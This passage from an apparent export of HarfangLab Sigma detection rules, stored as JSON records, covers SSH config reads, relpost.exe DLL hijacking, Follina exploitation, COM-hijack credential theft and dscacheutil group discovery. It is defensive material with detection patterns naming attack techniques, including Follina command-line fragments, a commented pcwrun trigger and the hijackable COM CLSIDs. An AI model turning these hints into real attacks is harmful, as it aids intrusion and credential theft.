'/opt/glpi-agent/perl/*/bin/perl'\n        - ProcessParentCommandLine:\n            - 'glpi-agent: waiting'\n            - 'glpi-agent (tag *): *'\n            - 'glpi-agent: running *'\n        - ProcessGrandparentCommandLine:\n            - 'glpi-agent: waiting'\n            - 'glpi-agent (tag *): *'\n            - 'glpi-agent: running *'\n        - ProcessCommandLine|contains:\n            - '/usr/bin/perl /usr/bin/glpi-agent'\n            - '/usr/bin/perl /usr/bin/glpi-inventory'\n\n    exclusion_qualys:\n        ProcessAncestors|contains:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n\n    exclusion_qualys2:\n        # grep -Ei ^[[:blank:]]*UsePrivilegeSeparation[[:blank:]]*[[:blank:]] /etc/ssh/sshd_config\n        # grep -Ei ^[[:blank:]]*UsePAM[[:blank:]]*[[:blank:]] /etc/ssh/sshd_config\n        # grep -Ei ^[[:blank:]]*Subsystem[[:blank:]]*[[:blank:]] /etc/ssh/sshd_config\n        # ...\n        ProcessCommandLine:\n            - 'grep -Ei ^[[:blank:]]\\**[[:blank:]]\\*[[:blank:]] /etc/ssh/sshd_config'\n            - 'grep X11Forwarding yes /etc/ssh/sshd_config'\n        ProcessParentImage:\n            - '/usr/bin/bash'\n            - '/usr/bin/dash'\n        ProcessGrandparentImage:\n            - '/usr/bin/bash'\n            - '/usr/bin/dash'\n\n    exclusion_mcafee:\n        ProcessImage: '/opt/McAfee/ens/tp/bin/mfetpd'\n\n    exclusion_bladelogic:\n        ProcessGrandparentImage: '/opt/bmc/bladelogic/RSCD/bin/rscd_full'\n\n    exclusion_udscan:\n        ProcessImage: '/opt/microfocus/Discovery/.discagnt/udscan'\n\n    exclusion_gitlab:\n        - ProcessParentCommandLine|contains: '/opt/gitlab/embedded/bin/ruby /opt/gitlab/embedded/bin'\n        - ProcessGrandparentCommandLine: '/bin/bash /opt/gitlab/bin/gitlab-ctl reconfigure'\n        - ProcessGrandparentImage|startswith: '/opt/gitlab/embedded/bin/'\n\n    exclusion_idataagent:\n        ProcessImage:\n            - '/opt/commvault/iDataAgent64/clBackup'\n            - '/opt/commvault2/iDataAgent64/clBackup'\n\n    exclusion_zabbix:\n        ProcessImage: '/usr/sbin/zabbix_agent?'\n\n    exclusion_deepinstinct:\n        ProcessImage: '/opt/deepinstinct/bin/DeepManagementService'\n\n    exclusion_wazuh:\n        ProcessImage|endswith:\n            - '/ossec/bin/wazuh-syscheckd'\n            - '/ossec/bin/wazuh-modulesd'\n\n    exclusion_newrelic:\n        ProcessImage: '/usr/bin/newrelic-infra'\n\n    exclusion_rudder:\n        ProcessImage: '/opt/rudder/bin/cf-agent'\n\n    exclusion_oscap:\n        ProcessImage: '/usr/bin/oscap'\n        ProcessCommandLine|startswith: 'oscap xccdf eval --profile '\n\n    exclusion_packagekit:\n        ProcessImage: '/usr/libexec/packagekitd'\n        ProcessParentImage: '/usr/lib/systemd/systemd'\n\n    exclusion_bacula:\n        ProcessImage:\n            - '/usr/sbin/bacula-fd'\n            - '/opt/bacula/bin/bacula-fd'\n\n    exclusion_monit:\n        ProcessImage: '/usr/bin/monit'\n\n    exclusion_rkhunter:\n        - ProcessParentCommandLine|contains: '/usr/bin/rkhunter '\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/rkhunter '\n\n    exclusion_bitdefender:\n        ProcessImage: '/opt/bitdefender-security-tools/bin/bdsecd'\n\n    exclusion_fsecure:\n        - ProcessImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessParentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessGrandparentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n\n    exclusion_gc_worker:\n        ProcessImage: '/opt/gc_service/gc/gc_worker'\n\n    exclusion_microsoft_wdavdaemon:\n        ProcessImage: '/opt/microsoft/mdatp/sbin/wdavdaemon'\n\n    exclusion_tanium:\n        ProcessCommandLine|startswith:\n            - '/bin/bash /opt/tanium/taniumclient/vb/tempunix_'\n            - '/opt/tanium/taniumclient/taniumclient '\n            - '/opt/Tanium/TaniumClient/TaniumCX '\n\n    exclusion_clamscan:\n        ProcessImage: '/usr/bin/clamscan'\n\n    exclusion_lacework_datacollector:\n        # /var/lib/lacework/6.11.0.21858/datacollector\n        # /var/lib/lacework/6.7.6.19823/datacollector\n        ProcessImage: '/var/lib/lacework/*/datacollector'\n\n    exclusion_socket_gen:\n        ProcessImage: '/usr/lib/systemd/system-generators/sshd-socket-generator'\n\n    exclusion_webmin:\n        ProcessCommandLine|startswith: '/usr/bin/perl /usr/share/webmin/miniserv.pl'\n\n    exclusion_docker:\n        - ProcessImage: '/usr/bin/dockerd'\n        - ProcessGrandparentImage: '/usr/bin/dockerd'\n\n    exclusion_ds_agent:\n        ProcessImage:\n            - '/opt/ds_agent/ds_am'\n            - '/opt/ds_agent/ds_agent'\n\n    exclusion_palo:\n        ProcessGrandparentImage: '/opt/traps/bin/pmd'\n\n    exclusion_kalilab:\n        ProcessCommandLine|contains: '/var/www/kalilab/'\n\n    exclusion_tina:\n        ProcessCommandLine:\n            - '/tina/atempodedupengine/default/bin/.exe.ade_server'\n            - '/tina/atempowebinterfaces/*'\n            - '/tina/timenavigator/tina/*'\n            - '/usr/atempo/timenavigator/tina/3rdparty/*'\n            - '/usr/atempo/timenavigator/tina/bin/*'\n            - '/usr/tina/bin/*'\n            - '/usr/tina/timenavigator/tina/bin/*'\n            - '/var/hote/timenavigator/tina/3rdparty/*'\n            - '/var/hote/timenavigator/tina/bin/*'\n\n    exclusion_augtool:\n        ProcessImage: '/usr/bin/augtool'\n\n    exclusion_convert2rhel:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python2 /bin/convert2rhel '\n            - '/usr/bin/python2 /usr/bin/convert2rhel '\n\n    exclusion_cloudinit:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python? /usr/bin/cloud-init '\n            - '/usr/libexec/platform-python /usr/bin/cloud-init '\n\n    exclusion_cyberwatch:\n        ProcessCommandLine:\n            - 'awk {IGNORECASE=1; if ($1~/^\\s*include$/) print $2} /etc/ssh/sshd_config'\n            - 'awk {IGNORECASE=1; if ($1~/^\\s*match$/) print $0} /etc/ssh/sshd_config'\n\n    exclusion_tripwire:\n        ProcessCommandLine: '/usr/sbin/tripwire'\n\n    exclusion_leapp:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python? /bin/leapp '\n            - '/usr/libexec/platform-python /bin/leapp '\n\n    exclusion_coin:\n        ProcessCommandLine|startswith: '/usr/bin/python /usr/local/bin/coin '\n\n    exclusion_facter:\n        ProcessCommandLine|contains: '/usr/bin/ruby /usr/bin/facter'\n\n    exclusion_networker:\n        ProcessParentImage: '/usr/sbin/nsrexecd'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "be199090-c1ac-4cbd-8c95-56a4e745b516",
+  "rule_name": "SSH Server Configuration Read",
+  "rule_description": "Detects an attempt to read the content of the SSH server configuration file.\nThe SSH server configuration contains the security settings used by SSH.\nAn attacker can read the SSH server configuration to find weaknesses in them.\nIt is recommended to investigate the process reading the configuration file.\n",
+  "rule_creation_date": "2022-11-07",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.004",
+    "attack.t1484",
+    "attack.t1563.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "be284800-d1c8-4c56-a95c-c935a9a84f71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.597214Z",
+  "creation_date": "2026-03-23T11:45:34.597217Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.597229Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_relpost.yml",
+  "content": "title: DLL Hijacking via relpost.exe\nid: be284800-d1c8-4c56-a95c-c935a9a84f71\ndescription: |\n    Detects potential Windows DLL Hijacking via relpost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'relpost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\Cabinet.dll'\n            - '\\ReAgent.dll'\n            - '\\wer.dll'\n            - '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "be284800-d1c8-4c56-a95c-c935a9a84f71",
+  "rule_name": "DLL Hijacking via relpost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via relpost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "be303eba-4ffb-48f8-98da-8df78e6af4b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093556Z",
+  "creation_date": "2026-03-23T11:45:34.093558Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093562Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e",
+    "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/",
+    "https://attack.mitre.org/techniques/T1204/002/",
+    "https://attack.mitre.org/techniques/T1566/"
+  ],
+  "name": "t1104_office_application_spawning_msdt.yml",
+  "content": "title: Possible Follina CVE-2022-30190 Vulnerability Exploitation\nid: be303eba-4ffb-48f8-98da-8df78e6af4b7\ndescription: |\n    Detects the possible exploitation of CVE-2022-30190 (aka Follina), a Microsoft Office code execution vulnerability that uses ms-msdt scheme to execute malicious code.\n    Attackers can use Follina to execute code as part of their initial compromise by luring users into clicking on infected Office documents.\n    It is recommended to analyze the opened Office document as well as to investigate processes stemming from the vulnerability exploitation.\nreferences:\n    - https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e\n    - https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/\n    - https://attack.mitre.org/techniques/T1204/002/\n    - https://attack.mitre.org/techniques/T1566/\ndate: 2022/05/30\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1203\n    - attack.t1204.002\n    - attack.initial_access\n    - attack.t1566\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.Follina\n    - classification.Windows.Exploit.CVE-2022-30190\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\msdt.exe'\n        - OriginalFileName: 'msdt.exe'\n    selection_cmdline:\n        CommandLine|contains|all:\n            - 'IT_BrowseForFile'\n            - '..?..?'\n    selection_answerfile:\n        CommandLine|contains:\n            - ' /af '\n            - ' -af '\n\n    exclusion_networking:\n        CommandLine|contains:\n            - '-skip TRUE -path ?:\\windows\\diagnostics\\system\\networking -af ?:\\'\n            - '-skip TRUE -path ??:\\windows\\diagnostics\\system\\networking? -af ??:\\'\n            - ' -path ?:\\windows\\diagnostics\\system\\networking -skip force -af ?:\\'\n            # C:\\WINDOWS\\system32\\msdt.exe -path C:\\WINDOWS\\diagnostics\\system\\networking -elev {E87F85D5-7427-4DF5-B36B-0317DA553142} -skip force -af C:\\Users\\xxxx\\AppData\\Local\\Temp\\NDF860E.tmp -ep NetworkDiagnosticsSharing -elevated yes\n            # C:\\WINDOWS\\SysWOW64\\msdt.exe -path C:\\WINDOWS\\diagnostics\\system\\networking -elev {8FE9353F-43C4-40E3-9C56-299E82D1BF49} -skip force -af C:\\Users\\xxxx\\AppData\\Local\\Temp\\NDFF5EF.tmp -modal 0007081A -ep NetworkDiagnosticsWeb -elevated yes\n            # C:\\WINDOWS\\system32\\msdt.exe -path C:\\WINDOWS\\diagnostics\\system\\networking -elev {D2E49F22-A2A9-4473-94F4-00427DB6A44E} -skip force -af C:\\Users\\xxxx\\AppData\\Local\\Temp\\NDF6BDC.tmp -ep NetworkDiagnosticsGenericNetConnection -elevated yes\n            - 'msdt.exe -path ?:\\WINDOWS\\diagnostics\\system\\networking -elev {????????-????-????-????-????????????} -skip force -af ?:\\Users\\'\n\n    # We can trigger this vulnerability using pcwrun.exe (pcwrun /../../$(calc).exe) that spawn msdt.exe (C:\\windows\\System32\\msdt.exe -path C:\\windows\\diagnostics\\index\\PCWDiagnostic.xml -af C:\\Users\\xxx\\AppData\\Local\\Temp\\PCW3C69.xml /skip TRUE).\n    # So, we exclude legitimate usage of pcwrun.exe that spawn msdt.exe.\n    exclusion_PCWDiagnostic:\n        # C:\\windows\\System32\\msdt.exe -path C:\\windows\\diagnostics\\index\\PCWDiagnostic.xml -af C:\\Users\\xxx\\AppData\\Local\\Temp\\PCWC9F3.xml /skip TRUE\n        # C:\\windows\\System32\\msdt.exe -path C:\\windows\\diagnostics\\index\\PCWDiagnostic.xml -af C:\\Users\\xxx\\AppData\\Local\\Temp\\PCW9D5A.xml /skip TRUE\n        CommandLine|startswith: '?:\\windows\\System32\\msdt.exe -path ?:\\windows\\diagnostics\\index\\PCWDiagnostic.xml -af ?:\\'\n        # C:\\windows\\system32\\pcwrun.exe C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\n        # C:\\windows\\system32\\pcwrun.exe C:\\Program Files\\LibreOffice\\program\\soffice.exe ContextMenu\n        ParentCommandLine:\n            - '?:\\windows\\system32\\pcwrun.exe *'\n            - '?:\\windows\\system32\\pcwrun.exe'\n    condition: selection and 1 of selection_* and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "be303eba-4ffb-48f8-98da-8df78e6af4b7",
+  "rule_name": "Possible Follina CVE-2022-30190 Vulnerability Exploitation",
+  "rule_description": "Detects the possible exploitation of CVE-2022-30190 (aka Follina), a Microsoft Office code execution vulnerability that uses ms-msdt scheme to execute malicious code.\nAttackers can use Follina to execute code as part of their initial compromise by luring users into clicking on infected Office documents.\nIt is recommended to analyze the opened Office document as well as to investigate processes stemming from the vulnerability exploitation.\n",
+  "rule_creation_date": "2022-05-30",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203",
+    "attack.t1204.002",
+    "attack.t1566"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "be692d57-801a-4187-81bc-0cb99ce4afbc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074916Z",
+  "creation_date": "2026-03-23T11:45:34.074918Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074923Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.slowerzs.net/posts/thievingfox/",
+    "https://github.com/Slowerzs/ThievingFox/",
+    "https://attack.mitre.org/techniques/T1056/004/"
+  ],
+  "name": "t1056_004_thievingfox_com_hijack.yml",
+  "content": "title: Possible Credential Theft via COM Hijack\nid: be692d57-801a-4187-81bc-0cb99ce4afbc\ndescription: |\n    Detects the modification of COM-related registry keys that can be used to gather credentials.\n    Attackers may exploit COMs to hijack execution flow and load arbitrary libraries in new processes as a means to steal credentials.\n    It is recommended to check whether the modification is expected and to analyze the library pointed to by the modified registry key.\nreferences:\n    - https://blog.slowerzs.net/posts/thievingfox/\n    - https://github.com/Slowerzs/ThievingFox/\n    - https://attack.mitre.org/techniques/T1056/004/\ndate: 2024/02/13\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1056.004\n    - attack.persistence\n    - attack.t1546.015\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_write:\n        EventType: 'SetValue'\n\n    selection_key_consent_1:\n        TargetObject|endswith: '\\CLSID\\{745A5ADD-6A71-47B9-9BB9-31DD3A6913D4}\\InprocServer32\\(Default)'\n    selection_expected_consent_1:\n        Details: '%SystemRoot%\\System32\\authui.dll'\n\n    selection_key_consent_2:\n        TargetObject|endswith: '\\CLSID\\{96B42929-01F1-468C-B521-6294AB438F4A}\\InprocServer32\\(Default)'\n    selection_expected_consent_2:\n        Details: '%SystemRoot%\\System32\\windows.ui.creddialogcontroller.dll'\n\n    selection_key_logonui_1:\n        TargetObject|endswith: '\\CLSID\\{2135F72A-90B5-4ED3-A7F1-8BB705AC276A}\\InprocServer32\\(Default)'\n    selection_expected_logonui_1:\n        Details:\n            - '%SystemRoot%\\System32\\authui.dll'\n            - '%SystemRoot%\\system32\\credprovslegacy.dll'\n            - 'acnampwdcredprovider.dll'\n\n    selection_key_logonui_2:\n        TargetObject|endswith: '\\CLSID\\{0BDC6FC7-83E3-46A4-BFA0-1BC14DBF8B38}\\InprocServer32\\(Default)'\n    selection_expected_logonui_2:\n        Details: '%SystemRoot%\\System32\\logoncontroller.dll'\n\n    selection_key_msmpeg2vdec:\n        TargetObject|endswith: '\\CLSID\\{62CE7E72-4C71-4D20-B15D-452831A87D9D}\\InprocServer32\\(Default)'\n    selection_expected_msmpeg2vdec:\n        Details:\n            - '%SystemRoot%\\System32\\msmpeg2vdec.dll'\n            - '?:\\Windows\\SysWOW64\\msmpeg2vdec.dll'\n            - '?:\\Windows\\system32\\msmpeg2vdec.dll'\n\n    selection_key_mstscax:\n        TargetObject|endswith:\n            - '\\CLSID\\{8B918B82-7985-4C24-89DF-C33AD2BBFBCD}\\InprocServer32\\(Default)'\n            - '\\CLSID\\{4EB89FF4-7F78-4A0F-8B8D-2BF02E94E4B2}\\InprocServer32\\(Default)'\n            - '\\CLSID\\{A1230401-67a5-4df6-a730-dce8822c80c4}\\InprocServer32\\(Default)'\n    selection_expected_mstscax:\n        Details:\n            - '%systemroot%\\system32\\mstscax.dll'\n            - '?:\\Windows\\System32\\mstscax.dll'\n\n    condition: selection_write and (\n            (selection_key_consent_1 and not selection_expected_consent_1)\n            or (selection_key_consent_2 and not selection_expected_consent_2)\n            or (selection_key_logonui_1 and not selection_expected_logonui_1)\n            or (selection_key_logonui_2 and not selection_expected_logonui_2)\n            or (selection_key_mstscax and not selection_expected_mstscax)\n            or (selection_key_msmpeg2vdec and not selection_expected_msmpeg2vdec)\n        )\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "be692d57-801a-4187-81bc-0cb99ce4afbc",
+  "rule_name": "Possible Credential Theft via COM Hijack",
+  "rule_description": "Detects the modification of COM-related registry keys that can be used to gather credentials.\nAttackers may exploit COMs to hijack execution flow and load arbitrary libraries in new processes as a means to steal credentials.\nIt is recommended to check whether the modification is expected and to analyze the library pointed to by the modified registry key.\n",
+  "rule_creation_date": "2024-02-13",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1056.004",
+    "attack.t1546.015"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "beb6c599-6b26-415f-bd79-23d6a4c87642",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095069Z",
+  "creation_date": "2026-03-23T11:45:34.095071Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095075Z",
+  "rule_level": "low",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1069/002/",
+    "https://attack.mitre.org/techniques/T1087/002/"
+  ],
+  "name": "t1069_002_dscacheutil_discovery_groups_macos.yml",
+  "content": "title: Groups Listed via dscacheutil\nid: beb6c599-6b26-415f-bd79-23d6a4c87642\ndescription: |\n    Detects the execution of the dscacheutil command to query information about groups.\n    Adversaries can use this information for lateral movement or privilege escalation.\n    It is recommended to check for malicious behavior by the process launching dscacheutil and correlate this alert with any other discovery activity.\nreferences:\n    - https://attack.mitre.org/techniques/T1069/002/\n    - https://attack.mitre.org/techniques/T1087/002/\ndate: 2024/06/13\nmodified: 2025/07/01\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1069.002\n    - attack.t1087.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Dscacheutil\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image|endswith: 'dscacheutil'\n        CommandLine|contains: '-q group'\n\n    exclusion_pkinstallsandbox:\n        GrandparentCommandLine: '/bin/bash /tmp/PKInstallSandbox.??????/Scripts/com.microsoft.wdav.??????/preinstall /Library/Caches/com.microsoft.autoupdate.helper/wdav-upgrade.pkg /Applications / /'\n\n    exclusion_kaspersky:\n        ParentImage: '/Applications/Kaspersky Anti-Virus For Mac.app/Contents/MacOS/kavd.app/Contents/MacOS/kavd'\n\n    exclusion_mdatp:\n        CommandLine: '/usr/bin/dscacheutil -q group -a name _mdatp'\n        ParentCommandLine|contains: '/postinstall /Library/Caches/com.microsoft.autoupdate.helper/wdav-upgrade.pkg'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "beb6c599-6b26-415f-bd79-23d6a4c87642",
+  "rule_name": "Groups Listed via dscacheutil",
+  "rule_description": "Detects the execution of the dscacheutil command to query information about groups.\nAdversaries can use this information for lateral movement or privilege escalation.\nIt is recommended to check for malicious behavior by the process launching dscacheutil and correlate this alert with any other discovery activity.\n",
+  "rule_creation_date": "2024-06-13",
+  "rule_modified_date": "2025-07-01",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1069.002",
+    "attack.t1087.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "bef1e86b-dd5e-45e3-b788-14d8427f649c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589601Z",
+  "creation_date": "2026-03-23T11:45:34.589605Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589617Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
